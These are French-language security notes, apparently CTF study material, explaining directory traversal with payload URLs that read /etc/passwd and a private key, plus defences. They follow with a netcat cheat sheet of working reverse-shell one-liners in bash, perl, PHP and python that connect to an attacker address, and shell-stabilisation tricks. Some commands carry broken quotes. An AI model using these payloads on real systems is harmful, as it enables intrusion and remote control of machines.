Directory traversal

A ***little*** story for a ***strong*** vulnerability

Profiter d’une faiblesse de développement

Exemple :
Un site de référence de menus de restaurants.
Au clic , le chemin du fichier obtenu pourrait apparaître dans l’URL de la manière suivante :

foodle.com/menus?menu=arachnaburger.pdf

Un serveur achemine souvent les URL des fichiers sur le système de fichiers.

Mauvaise gestion des permissions du matériel en backend.

Permet au pirate d’accéder très simplement à des fichiers critiques

Le nom du fichier demandé est passé dans le paramètre "menu" de l’URL de la manière suivante :

foodle.com/menu?menu=**../../../../etc/passwd**

foodle.com/menus?menu=../../../../ssl/private.key

On utilise donc la syntaxe de chemin relatif ../ pour explorer le système de fichiers.

Solutions de développement :

1] Utilisation d'un CMS

(Content Management System)

#EDIT : N'est pas pertinent pour arrêter cette vulnérabilité

2] Technique d'indirection :

- Création de noms de fichiers conviviaux
- Pas de transmissions des chemins de fichiers bruts
- chemin d'accès stocké dans une base de données

3] Hébergement

- documents sur un système de fichiers séparés
- Sur un cloud

4] Rester fidèle au principe du moindre privilège

- Exécuter les process avec les autorisations minimales
- Limite l’impact des vulnérabilités comme seconde ligne de défense

Netcat

Miaw !

Miaw !

Pet listener

Miaw !

Miaw !

Miaw !

Miaw !

Miaw !

Miaw !

Utilisation en ctf :

- Mettre son terminal à l'écoute d'une connexion entrante.
- Utilisé pour réceptionner un Reverse Shell
- Utilisé pour effectuer un Bind Shell

Syntaxe de connection directe :

nc 10.80.10.12 8080 -e /bin/bash

nc.exe 10.80.10.12 8080 -e "cmd.exe"

Syntaxe de mise à l'écoute :

nc -lvnp 8080

l = listening
v = verbious
n = no host/DNS mention
p = port

e = execute a command when connection is done

En l’absence de netcat sur la cible

En bash : bash -i >& /dev/tcp/10.80.10.12/8080 0>&1

Avec perl : perl -e ‘use Socket;$i=”10.80.10.12";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

php –version
En PHP : php -r ‘$sock=fsockopen(“10.80.10.12”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’

python –version
En Python : python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.80.10.12”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Stabilisation du shell

1 python3 -c 'import pty;pty.spawn("/bin/bash")"

2 export TERM=xterm

3 ctrl+Z
stty raw -echo; fg

4 reset
stty -a (obtenir des informations sur le nombres de lignes et colonnes configurées)
stty cols 50
stty rows 50

Tricks utiles

Envoyer un fichier d'un pc à l'autre via Netcat :

Sur le terminal de l'envoyeur :

$ echo “These are my netcat notes” > ncnotes.txt

$ nc -l 2222 < ncnotes.txt

Sur le terminal en réception :

$ nc [machine 1] 2222 > ncnotes.txt

$ cat ncnotes.txt

Envoyer un fichier d’un pc à l’autre via Netcat (version énervée)

Sur le terminal de l’envoyeur :

```
$ tar -cvz file1 file2 file3 file4 | nc -l 8080
```

Sur le terminal en réception :

```
$ nc 10.80.10.12 8080 | tar -xvz
```